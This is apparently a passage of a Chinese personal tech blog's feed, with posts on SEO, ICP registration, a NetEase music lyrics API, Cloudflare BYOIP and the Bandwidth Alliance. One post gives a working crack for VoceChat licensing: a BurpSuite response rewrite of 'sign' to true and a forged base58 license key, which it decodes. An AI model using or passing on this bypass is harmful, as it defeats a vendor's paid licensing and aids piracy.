&lt;h3 id=&quot;bu-yao-zhong-ming&quot;&gt;不要重名&lt;&#x2F;h3&gt;
&lt;p&gt;如果你的标题是中文，请确保不要和任何知名事物关联上，比如不要叫 &lt;code&gt;树叶博客&lt;&#x2F;code&gt; ，而是 &lt;code&gt;叶树博客&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;搜索引擎对于知名事物给的权重很高，如果你还和这些知名事物重名，大众则很难搜索到你&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-yong-ying-wen-biao-ti&quot;&gt;使用英文标题&lt;&#x2F;h3&gt;
&lt;p&gt;比如 &lt;code&gt;AcoFork Blog&lt;&#x2F;code&gt;，&lt;code&gt;afoim Blog&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;尝试自创一个单词，和中文一样，不要和知名事物重名&lt;&#x2F;p&gt;
&lt;p&gt;搜索引擎会将无法关联的网页作为独立权重&lt;&#x2F;p&gt;
&lt;p&gt;直接搜索您的自创单词，大概率就能找到您的网站，如：&lt;code&gt;AcoFork&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kua-ye-mian-shi-yong-zhu-biao-ti-mao-ding&quot;&gt;跨页面使用主标题锚定&lt;&#x2F;h3&gt;
&lt;p&gt;一个网站大部分情况都有多个页面，如 主页，分类，归档等等&lt;&#x2F;p&gt;
&lt;p&gt;除了主页面要展示您的特有标题，其他页面也需要&lt;&#x2F;p&gt;
&lt;p&gt;比如主页面标题为 &lt;code&gt;AcoFork Blog&lt;&#x2F;code&gt; ，则副页面可以为 &lt;code&gt;分类 - AcoFork Blog&lt;&#x2F;code&gt; 或&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;AcoFork Blog - 分类&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;p&gt;但是请不要直接单写一个 &lt;code&gt;分类&lt;&#x2F;code&gt; 。虽然这可能并不会误导搜索引擎的判断（只要还是同一个域名），但可能会误导用户的判断&lt;&#x2F;p&gt;
&lt;p&gt;比如搜索您的网站排在第一位的是一个标题为 &lt;code&gt;分类&lt;&#x2F;code&gt; 的网页&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yan-jian-yi-gai-xie-ming-description&quot;&gt;言简意赅写明description&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;description&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;网站描述不要写的太短，也不应太长，更不能没有&lt;&#x2F;p&gt;
&lt;p&gt;我的网站简介是&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为AcoFork&#x2F;afoim&#x2F;二叉树树&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guan-jian-ci&quot;&gt;关键词&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;即每个HTML head部分的 &lt;code&gt;meta name=&quot;keywords&quot;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;现代搜索引擎基本不看，很容易被滥用。所以不需要写&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tong-nei-rong-wang-zhan-zhi-neng-you-yi-ge&quot;&gt;同内容网站只能有一个&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如无必要，请不要变更域名。也不要将其他域名指向您的站点&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;假如我有 &lt;code&gt;acofork.com&lt;&#x2F;code&gt; &lt;code&gt;acofork.cn&lt;&#x2F;code&gt; 。都想指向我的同一个网站？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;请使用 301 重定向&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;否则你的SEO将被破坏，搜索引擎不会将这两个站点视为同一个站点&lt;&#x2F;p&gt;
&lt;p&gt;同时，确保你的域名日后仅作重定向用。因为301重定向会在客户端种下一个种子&lt;&#x2F;p&gt;
&lt;p&gt;客户端第一次访问时，服务器返回301状态码，日后客户端则不会请求服务器，直接重定向到目标URL&lt;&#x2F;p&gt;
&lt;p&gt;如果日后需要将域名挪作他用，那么请不要写任何解析，避免日后部署其他服务部分用户不可用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;解决这个问题需要引导用户清除浏览器的本地缓存，非常麻烦&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bi-mian-shi-yong-xiang-tong-ming-zi-de-yun-tuo-guan-fu-wu&quot;&gt;避免使用相同名字的云托管服务&lt;&#x2F;h1&gt;
&lt;p&gt;比如 xLog。我曾经创建过一个 &lt;code&gt;acofork.xlog.app&lt;&#x2F;code&gt; 的站点。现在不用了，又由于xLog是区块链，我还丢失了私钥助记词，现在无人能登上，自然也无法删除其中的内容。至今仍在破坏我站的SEO&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-lighthousefen-xi-zhan-dian-fen-shu&quot;&gt;使用Lighthouse分析站点分数&lt;&#x2F;h1&gt;
&lt;p&gt;Lighthouse是一个浏览器插件，可以分析站点的性能、无障碍、最佳做法和性能&lt;&#x2F;p&gt;
&lt;p&gt;可以前往各自的浏览器插件商店搜索 &lt;code&gt;Lighthouse&lt;&#x2F;code&gt; 进行安装测试&lt;&#x2F;p&gt;
&lt;p&gt;注意需要使用无痕模式进行测试，以免其他浏览器插件影响Lighthouse的测试结果&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;579087ce-3a48-4390-8ba3-e42dea60135e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于每一项出现的问题以及如何解决都有明确的指示。可以根据警告对您的站点进行优化&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5174f53e-5c7f-49a9-86fc-ea6797975d59.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-ru-bi-ying-wang-zhan-guan-li-yuan&quot;&gt;接入必应网站管理员&lt;&#x2F;h1&gt;
&lt;p&gt;前往 https://www.bing.com&#x2F;webmasters&lt;&#x2F;p&gt;
&lt;p&gt;接入您的站点后，必应爬虫将会分析您的网站，并且告知您的网站是否可以在搜索结果中展示&lt;&#x2F;p&gt;
&lt;p&gt;必应爬虫还会针对它的视角提出您网站的问题，您可以根据提出的问题进行优化&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;eabc21ac-c306-4165-afe0-1b9da3d2a179.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;081682fd-2d05-4d3f-a191-1c0f5c9b624c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-ru-ge-da-fen-xi&quot;&gt;接入各大分析&lt;&#x2F;h1&gt;
&lt;p&gt;可以将网站接入各大分析，这样不仅能看到网站的流量，也能让搜索引擎知道这个网站是在被精心运营的&lt;&#x2F;p&gt;
&lt;p&gt;百度统计： https://tongji.baidu.com&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;必应网站管理员： https://www.bing.com&#x2F;webmaster&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;谷歌搜索控制台： https://search.google.com&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;谷歌分析： https://analytics.google.com&#x2F;&lt;&#x2F;p&gt;
&lt;p&gt;谷歌广告： https://www.google.com&#x2F;adsense&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yong-indexnow&quot;&gt;使用IndexNow&lt;&#x2F;h1&gt;
&lt;p&gt;曾经，如果想要提高网站的SEO，我们只能静静等待各大搜索引擎爬虫进行网站内容的爬取&lt;&#x2F;p&gt;
&lt;p&gt;而 &lt;strong&gt;IndexNow&lt;&#x2F;strong&gt; 允许网站主动向各大搜索引擎提交高质量的内容。详见： &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.bing.com&#x2F;indexnow&quot;&gt;Why IndexNow | Bing Webmaster Tools&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果您使用Cloudflare CDN，这是开箱即用的只需要导航到您的域名 -&amp;gt; 缓存 -&amp;gt; 配置 -&amp;gt; 启用 &lt;strong&gt;Crawler Hints&lt;&#x2F;strong&gt; 即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;303b37e5-4104-4e2a-8a3b-bdb6094159e7.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>关于本站为什么不进行ICP备案</title>
        <published>2025-07-29T00:00:00+00:00</published>
        <updated>2025-07-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/why-not-icp/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/why-not-icp/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/why-not-icp/">&lt;p&gt;早期本站发布过文章 &lt;a href=&quot;&#x2F;posts&#x2F;bypass-gfw&#x2F;&quot;&gt;点此查看&lt;&#x2F;a&gt;
该文章不符合备案规范。曾尝试过备案被打回&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yu-ming-bu-zhi-chi-bei-an&quot;&gt;域名不支持备案&lt;&#x2F;h1&gt;
&lt;p&gt;ICP备案是针对于域名的，本人名下的 2x.nz 并不在ICP备案支持的域名后缀内&lt;&#x2F;p&gt;
&lt;p&gt;所有支持备案的域名后缀请查看 https://domain.miit.gov.cn&#x2F;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhong-guo-jie-dian-jia-su-shou-xiao-shen-wei&quot;&gt;中国节点加速收效甚微&lt;&#x2F;h1&gt;
&lt;p&gt;目前本站使用的CDN为Netlify CDN，Netlify采用AWS的IP，速度极快，在中国大陆可用性很高，延迟如下图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;96375c6a-f807-42b7-b1f0-33c0c7231037.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于本站为静态站，若进行备案可以直接使用EdgeOne Page中的中国大陆节点，延迟固然会更低，但是对比目前的速度收效甚微&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bei-an-bu-zou-fan-suo&quot;&gt;备案步骤繁琐&lt;&#x2F;h1&gt;
&lt;p&gt;若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;gfwwei-dui-ben-zhan-jin-xing-snizu-duan&quot;&gt;GFW未对本站进行SNI阻断&lt;&#x2F;h1&gt;
&lt;p&gt;本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问&lt;&#x2F;p&gt;
&lt;h1 id=&quot;quan-zhou-deng-di-qu-yong-hu-jin-zhi-chi-fang-wen-bei-an-yu&quot;&gt;泉州等地区用户仅支持访问备案域？&lt;&#x2F;h1&gt;
&lt;p&gt;本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI&#x2F;CD工作流，暂时停用&lt;&#x2F;p&gt;
&lt;p&gt;后续会进行修复并且重新恢复IP站点的运营&lt;&#x2F;p&gt;
&lt;p&gt;已恢复 参见&lt;a href=&quot;&#x2F;about&#x2F;&quot;&gt;关于&lt;&#x2F;a&gt;界面&lt;&#x2F;p&gt;
&lt;h1 id=&quot;hou-xu-shi-fou-hui-bei-an&quot;&gt;后续是否会备案&lt;&#x2F;h1&gt;
&lt;p&gt;可能。但是不会用做主要业务，更多是提高访问可达性，主站仍为未备案站。&lt;&#x2F;p&gt;
&lt;p&gt;且如果备案后我需要管理两个内容分支（即无违规内容分支和原分支）我可能会放弃这么做&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>网易云音乐歌曲时间戳获取</title>
        <published>2025-07-27T00:00:00+00:00</published>
        <updated>2025-07-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/wyy-timestrap/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/wyy-timestrap/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/wyy-timestrap/">&lt;p&gt;首先我们要获取一首歌的ID，如果你是App可以点击分享，然后 &lt;code&gt;复制链接&lt;&#x2F;code&gt; 。如果是Web，直接复制浏览器地址栏&lt;&#x2F;p&gt;
&lt;p&gt;你将得到类似这样的URL&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;https://music.163.com&#x2F;#&#x2F;song?id=29812004&amp;amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中的 &lt;code&gt;id=29812004&lt;&#x2F;code&gt; 中的值就是我们的歌曲ID&lt;&#x2F;p&gt;
&lt;p&gt;接下来拼接URL&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;https://music.163.com&#x2F;api&#x2F;song&#x2F;media?id=29812004
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;访问就得到歌词时间戳啦&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;{&amp;quot;songStatus&amp;quot;:1,&amp;quot;lyricVersion&amp;quot;:44,&amp;quot;lyric&amp;quot;:&amp;quot;[by:月餖]\n[00:19.30]The clock stopped ticking forever ago\n\n[00:23.300]How long have I been up?\n[00:25.300]I don&amp;#39;t know.\n[00:26.300]I can&amp;#39;t get a grip,\n[00:28.300]But I can&amp;#39;t let go\n[00:30.300]There wasn&amp;#39;t anything\n[00:31.300]To hold onto though...\n[00:33.300]Why can&amp;#39;t I see?\n[00:35.300]Why can&amp;#39;t I see?\n[00:37.300]All the colors that you see?\n[00:40.300]Please, Can I be,\n[00:42.300]Please, Can I be\n[00:44.300]Colorful and free?\n[00:47.300]WHAT THE HELL&amp;#39;S GOING ON?!\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\n[00:50.300]WHY, I&amp;#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[00:53.300]I&amp;#39;M black, THEN I&amp;#39;M white!!\n[00:55.300]NO!!!\n[00:56.300]SOMETHING ISN&amp;#39;T RIGHT!!\n[00:57.300]MY ENEMY&amp;#39;S INVISIBLE, I DON&amp;#39;T KNOW HOW TO FIGHT!!\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[01:04.300]WHEN I&amp;#39;M UP AGAINST\n[01:05.300]THE ECHO IN THE MIRROR!!\n[01:08.300]ECHO!!\n[01:14.300]\n[02:23.300]I&amp;#39;m gonna burn my house down,\n[02:27.300]Into an ugly black.\n[02:28.300]I&amp;#39;m gonna run away, Now\n[02:31.300]And never look back.\n[02:32.300]I&amp;#39;m gonna burn my house down,\n[02:34.300]Into an ugly black.\n[02:35.300]I&amp;#39;m gonna run away, Now\n[02:37.300]And never look back.\n[02:39.300]I&amp;#39;m gonna run away down,\n[02:41.300]I&amp;#39;m gonna run away.\n[02:42.300]I&amp;#39;m gonna run away, Now\n[02:44.300]I&amp;#39;m gonna run away\n[02:53.300]I&amp;#39;m gonna burn my house down.\n[02:54.300]And never look back.\n[02:56.300]And never look back.\n[02:58.300]AND NEVER LOOK BACK!!\n[02:59.300]WHAT THE HELL&amp;#39;S GOING ON?!\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\n[03:03.300]WHY, I&amp;#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:06.300]I&amp;#39;M black, THEN I&amp;#39;M white!!\n[03:08.300]NO!!!\n[03:08.300]SOMETHING ISN&amp;#39;T RIGHT!!\n[03:10.300]MY ENEMY&amp;#39;S INVISIBLE, I DON&amp;#39;T KNOW HOW TO FIGHT!!\n[03:13.300]WHAT THE HELL&amp;#39;S GOING ON?!\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\n[03:17.300]WHY, I&amp;#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:20.300]I&amp;#39;M black, THEN I&amp;#39;M white!!\n[03:21.300]NO!!!\n[03:22.300]SOMETHING ISN&amp;#39;T RIGHT!!\n[03:23.300]MY ENEMY&amp;#39;S INVISIBLE, I DON&amp;#39;T KNOW HOW TO FIGHT!!\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:31.300]WHEN I&amp;#39;M UP AGAINST\n[03:32.300]THE ECHO IN THE MIRROR!!\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:37.300]WHEN I&amp;#39;M UP AGAINST\n[03:39.300]THE ECHO IN THE MIRROR!!&amp;quot;,&amp;quot;code&amp;quot;:200}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4216b634-16a4-434a-9ea7-cf8170805437.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>记录人生中第一次破解软件！FKvocechat！</title>
        <published>2025-07-23T00:00:00+00:00</published>
        <updated>2025-07-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/fuck-vocechat/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/fuck-vocechat/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/fuck-vocechat/">&lt;p&gt;可以直接看 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://info.php.afo.im&#x2F;index.php&#x2F;archives&#x2F;12&#x2F;&quot;&gt;记录被voce.chat坑了350 - 屮蛋Blog&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zheng-ban-ji-huo-de-yuan-li&quot;&gt;正版激活的原理？&lt;&#x2F;h1&gt;
&lt;p&gt;一般来说。大部分授权系的软件会将你的授权文件首先经过加密，然后发送到授权服务器，等待授权服务器返回一个正确的状态，然后激活&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-wei-zao-zhe-ge-zheng-que-de-zhuang-tai&quot;&gt;如何伪造这个正确的状态？&lt;&#x2F;h1&gt;
&lt;p&gt;大部分软件的授权通信是通过后端进行的（但是vocechat不一样，它在前端🤣），我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态&lt;&#x2F;p&gt;
&lt;p&gt;假如你发送一个有效的许可证，得到 &lt;code&gt;check: true&lt;&#x2F;code&gt; 这个响应，同时软件本体显示 &lt;code&gt;已激活&lt;&#x2F;code&gt; 。然后发送一个无效的许可证，得到 &lt;code&gt;check: false&lt;&#x2F;code&gt; 这个响应，同时软件本体显示 &lt;code&gt;许可证无效&lt;&#x2F;code&gt; 。那么我们可以非常简单的去破解，只需要让对方服务器无论对软件发送的任意许可证都返回 &lt;code&gt;check: true&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;这涉及到响应体修改，需要使用第三方软件，推荐 &lt;code&gt;BurpSuite&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值，会返回一串密文，然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源，后续的一系列操作就看你造化了&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;zheng-pian-zen-me-po-jie-vocechat&quot;&gt;正片，怎么破解VoceChat？&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;不需要你有一个正版许可证，因为我花350买了😭&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;部署完毕VoceChat后，进入授权界面开启浏览器的DevTools，如图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;df39698c-7a0f-4eda-9b74-47cec05faaf2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;设置你的 &lt;code&gt;BurpSuite&lt;&#x2F;code&gt; 软件，全局替换 &lt;code&gt;&quot;sign&quot;: false&lt;&#x2F;code&gt; 为 &lt;code&gt;&quot;sign&quot;: true&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5d34cbe2-08e9-40ea-95e4-64c976d5de9b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击手动更新，上传如下内容&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;LkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后你就能得到&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;07686efa-5646-4116-bb96-c2d856b4811e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-li-pou-xi&quot;&gt;原理剖析&lt;&#x2F;h1&gt;
&lt;p&gt;VoceChat是前端验证（没绷住），刚才给你们的内容是一个经过base58编码后的内容，解码后为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一共有4个字段&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;*&lt;&#x2F;code&gt; 即被授权的域名，这里填 &lt;code&gt;*&lt;&#x2F;code&gt; 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 &lt;code&gt;*&lt;&#x2F;code&gt; 改为你正在用VoceChat的域名即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;999999&lt;&#x2F;code&gt; 为用户数限制，前端会显示为 &lt;code&gt;No Limit&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;2025-07-16T12:00:03.675696030+00:00&lt;&#x2F;code&gt; 为授权开始日期&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;2125-07-16T00:00:00+00:00&lt;&#x2F;code&gt; 为授权结束日期&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;266c***975&lt;&#x2F;code&gt; 似乎是一个验证码，类似身份证的最后一位验证位，但是貌似不起作用😂&lt;&#x2F;p&gt;
&lt;h1 id=&quot;na-wo-hua-350mai-de-shou-quan-shui-gei-wo-bu-a-rofl&quot;&gt;那我花350买的授权谁给我补啊🤣&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;7fd942fe-da57-4496-8b85-e5db6057705b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>还在用Cloudflare传统优选？来看看Cloudflare Byoip！</title>
        <published>2025-07-22T00:00:00+00:00</published>
        <updated>2025-07-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/cf-byoip/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/cf-byoip/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/cf-byoip/">&lt;p&gt;Cloudflare Byoip，即如果用户自己拥有一个IP、IP段，可以将其托管给Cloudflare，并使其受益于Cloudflare全球网络的加速与安全&lt;&#x2F;p&gt;
&lt;p&gt;人话讲就是，有一些IP不直接隶属于Cloudflare，但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast，但是国内延迟可能会明显优于Cloudflare的官方IP段&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ru-he-zhao-dao-cloudflare-byoip&quot;&gt;如何找到Cloudflare Byoip？&lt;&#x2F;h1&gt;
&lt;p&gt;可以前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://ipregistry.co&#x2F;AS209242#ranges&quot;&gt;AS209242 Cloudflare London, LLC details | Ipregistry&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;尝试使用ITDog强制绑定IP访问你的Cloudflare服务，不返回403即可&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;我这里返回404是正常的，因为 r2.afo.im 直接连接到Cloudflare R2对象存储，直接访问就是404&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;838f685e-3913-4b21-995e-5ee149f4bffa.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;需要注意，有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向，别让你的网站成为他人的引流站&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ke-yi-chang-jiu-shi-yong-ma&quot;&gt;可以长久使用吗？&lt;&#x2F;h1&gt;
&lt;p&gt;这些Byoip固然比Cloudflare官方IP段质量更好，但如果你真的要用，请设置好一个机器定时筛选不可用的IP，以及添加一些Cloudflare官方IP段，防止您的服务宕机&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>国内对象存储免流量费？Cloudflare带宽联盟究竟是什么？</title>
        <published>2025-07-22T00:00:00+00:00</published>
        <updated>2025-07-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/cloudflare-bandwidth-alliance/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/cloudflare-bandwidth-alliance/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/cloudflare-bandwidth-alliance/">&lt;p&gt;Cloudflare带宽联盟（Bandwidth Alliance） 由一群具有前瞻性思维的云服务和网络公司组成，致力于为共同客户降低或免除数据传输（带宽）费用。&lt;&#x2F;p&gt;
&lt;p&gt;人话：你买的阿里云OSS，腾讯云COS套上CF就可以免流量费&lt;&#x2F;p&gt;
